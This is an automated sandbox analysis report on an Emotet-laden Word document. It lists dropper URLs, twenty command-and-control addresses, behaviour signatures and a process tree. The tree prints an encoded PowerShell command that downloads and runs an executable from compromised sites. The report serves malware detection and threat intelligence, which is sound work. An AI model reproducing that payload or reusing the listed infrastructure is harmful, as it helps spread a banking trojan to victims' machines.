Analysis

  • max time kernel
    136s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 12:01

General

  • Target
    emotet_e1_30bbbd21c90e5f4a8afb756e5fcdefe896745ca4dfa74720c96a5e67acc8ac3d_2020-09-03__115919._doc.doc
  • Size 237KB
  • Sample200903-48gvjtl1b2
  • SHA256 30bbbd21c90e5f4a8afb756e5fcdefe896745ca4dfa74720c96a5e67acc8ac3d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://theexchangemascot.com/wp-admin/NN/

  • exe.dropper

    http://redhands.studio/wp-admin/SP/

  • exe.dropper

    http://1a-fitness-coach.com/cgi-bin/deg/

  • exe.dropper

    http://personalizzabili.com/imagesff/Ob/

  • exe.dropper

    http://zarahmoden.com/wp-admin/FVQ/

  • exe.dropper

    http://westvac.com/wp-content/se7/

  • exe.dropper

    http://viniciusrangel.com/experimental/sQ/

Extracted

Family
  • emotet

C2
  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 68.69.155.181:80

  • 12.162.84.2:8080

  • 77.55.211.77:8080

  • 104.131.41.185:8080

  • 85.105.140.135:443

  • 51.255.165.160:8080

  • 213.60.96.117:80

  • 45.16.226.117:443

  • 111.67.12.221:8080

  • 190.6.193.152:8080

  • 45.161.242.102:80

  • 190.163.31.26:80

  • 172.104.169.32:8080

  • 185.94.252.12:80

  • 212.174.55.22:443

  • 50.28.51.143:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_30bbbd21c90e5f4a8afb756e5fcdefe896745ca4dfa74720c96a5e67acc8ac3d_2020-09-03__115919._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2728
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2068
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAG8AdABiAHAANwBzAD0AKAAnAFIAYgAnACsAJwA3AHIAJwArACgAJwBhACcAKwAnAHAAeQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAEUAUgBwAFIAbwBmAGkAbABFAFwAbgAzAHQAeABjAEwAQgBcAEcANgAyADgAXwB1AEEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAdQByAGkAdABZAGAAcAByAG8AVABPAEMAbwBMACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAyACcAKwAnACwAIAB0AGwAcwAnACsAJwAxACcAKQArACgAJwAxACcAKwAnACwAIAAnACkAKwAnAHQAJwArACcAbABzACcAKQA7ACQARgAzAGwAOQA0ADcAZwAgAD0AIAAoACcASgBsACcAKwAoACcAMwByADIAJwArACcAMgBuAHgAJwApACkAOwAkAEkAZQAxAHEAMAA5AHgAPQAoACgAJwBDACcAKwAnAF8AbwBtAGUAJwApACsAJwB1ACcAKwAnAHgAJwApADsAJABZAGsAcwBtAHUAZwA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAWAAnACsAJwBlADUATgAzAHQAeABjAGwAJwArACcAYgAnACkAKwAnAFgAJwArACcAZQAnACsAKAAnADUAJwArACcARwA2ADIAJwApACsAKAAnADgAXwB1AGEAJwArACcAWAAnACkAKwAnAGUAJwArACcANQAnACkALgAiAHIARQBgAFAATABgAEEAQwBlACIAKAAoAFsAYwBoAGEAUgBdADgAOAArAFsAYwBoAGEAUgBdADEAMAAxACsAWwBjAGgAYQBSAF0ANQAzACkALAAnAFwAJwApACkAKwAkAEYAMwBsADkANAA3AGcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQADAAYQBxAHUAZwA1AD0AKAAoACcAQQAnACsAJwB0AHkAJwApACsAJwAzAHUAJwArACcAcgBoACcAKQA7ACQATQBtADUAcgBtADkAaQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQAQwB0ADAAYwBqAG0AbgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AdABoACcAKwAnAGUAZQB4AGMAaAAnACkAKwAoACcAYQBuACcAKwAnAGcAJwApACsAJwBlACcAKwAoACcAbQBhAHMAJwArACcAYwBvAHQAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQBpAG4ALwAnACsAJwBOAE4AJwArACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAcgAnACsAJwBlAGQAJwArACgAJwBoACcAKwAnAGEAJwArACcAbgBkAHMAJwArACcALgAnACsAJwBzAHQAdQBkAGkAbwAvAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAFMAJwArACcAUAAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnADEAYQAtAGYAJwArACcAaQAnACkAKwAoACcAdABuAGUAJwArACcAcwAnACkAKwAnAHMAJwArACgAJwAtACcAKwAnAGMAbwBhACcAKQArACgAJwBjACcAKwAnAGgALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKwAnAGQAZQAnACkAKwAnAGcALwAnACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBwAGUAcgAnACkAKwAnAHMAbwAnACsAKAAnAG4AJwArACcAYQBsAGkAegB6AGEAJwApACsAKAAnAGIAaQBsACcAKwAnAGkALgBjACcAKQArACgAJwBvAG0AJwArACcALwBpACcAKQArACcAbQAnACsAKAAnAGEAZwAnACsAJwBlAHMAJwApACsAJwBmAGYAJwArACcALwAnACsAKAAnAE8AJwArACcAYgAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKwAnAHoAYQByAGEAaABtACcAKQArACgAJwBvAGQAZQBuACcAKwAnAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBGAFYAUQAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAdAB2ACcAKQArACgAJwBhAGMAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAnACkAKwAoACcALwAnACsAJwBzAGUANwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAJwAvAC8AJwArACcAdgAnACsAJwBpAG4AaQBjAGkAdQBzACcAKwAnAHIAYQAnACkAKwAnAG4AZwAnACsAKAAnAGUAJwArACcAbAAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAGUAJwApACsAJwB4ACcAKwAnAHAAJwArACgAJwBlAHIAaQBtACcAKwAnAGUAJwApACsAKAAnAG4AdABhAGwAJwArACcALwAnACkAKwAnAHMAUQAnACsAJwAvACcAKQAuACIAcwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADQAZAAzADMAcwAxAD0AKAAoACcARgAnACsAJwB6ADgAcAAnACkAKwAnAGoAbwAnACsAJwBqACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAdQBrAGsAaQBrAG4AIABpAG4AIAAkAEMAdAAwAGMAagBtAG4AKQB7AHQAcgB5AHsAJABNAG0ANQByAG0AOQBpAC4AIgBkAE8AdwBOAGAAbABvAGAAQQBEAEYAaQBgAGwARQAiACgAJABQAHUAawBrAGkAawBuACwAIAAkAFkAawBzAG0AdQBnADYAKQA7ACQARABnAGYAMwBtAGgAegA9ACgAKAAnAEgAJwArACcAdABwACcAKQArACgAJwBwAGoAJwArACcANwAnACkAKwAnAGgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFkAawBzAG0AdQBnADYAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAzADIAOAAyADAAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAoACQAWQBrAHMAbQB1AGcANgApADsAJABKAHEAbQBxADcAcwBkAD0AKAAnAFgAaAAnACsAKAAnADYAagAnACsAJwBvADkAJwApACsAJwB4ACcAKQA7AGIAcgBlAGEAawA7ACQAWAB5AG4AbQBxADEAMQA9ACgAJwBZACcAKwAnAHIAJwArACgAJwBqAGQAawA2ACcAKwAnAG4AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQA4ADAAOABsAGoAPQAoACcAQgB1ACcAKwAoACcAcQBfADUAJwArACcANwA3ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe
      "C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\SysWOW64\DbgModel\Windows.UI.Input.Inking.exe
        "C:\Windows\SysWOW64\DbgModel\Windows.UI.Input.Inking.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:204

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/204-17-0x00000000004C0000-0x00000000004CC000-memory.dmp

        memory/1284-14-0x00000000005C0000-0x00000000005CC000-memory.dmp

        memory/1664-8-0x00007FFA78E90000-0x00007FFA7987C000-memory.dmp

        memory/1664-9-0x00000204D7990000-0x00000204D7991000-memory.dmp

        memory/1664-10-0x00000204F00E0000-0x00000204F00E1000-memory.dmp

        memory/2728-0-0x00007FFA80200000-0x00007FFA808C6000-memory.dmp

        memory/2728-7-0x00000145A6EA6000-0x00000145A6EAB000-memory.dmp

        memory/2728-6-0x00000145A6EA6000-0x00000145A6EAB000-memory.dmp

        memory/2728-5-0x00000145A6EA6000-0x00000145A6EAB000-memory.dmp

        memory/2728-4-0x00000145A4899000-0x00000145A48A8000-memory.dmp

        memory/2728-3-0x00000145A6D19000-0x00000145A6D1C000-memory.dmp

        memory/2728-2-0x00000145A6D19000-0x00000145A6D1C000-memory.dmp

        memory/2728-1-0x00000145A6D1C000-0x00000145A6D2D000-memory.dmp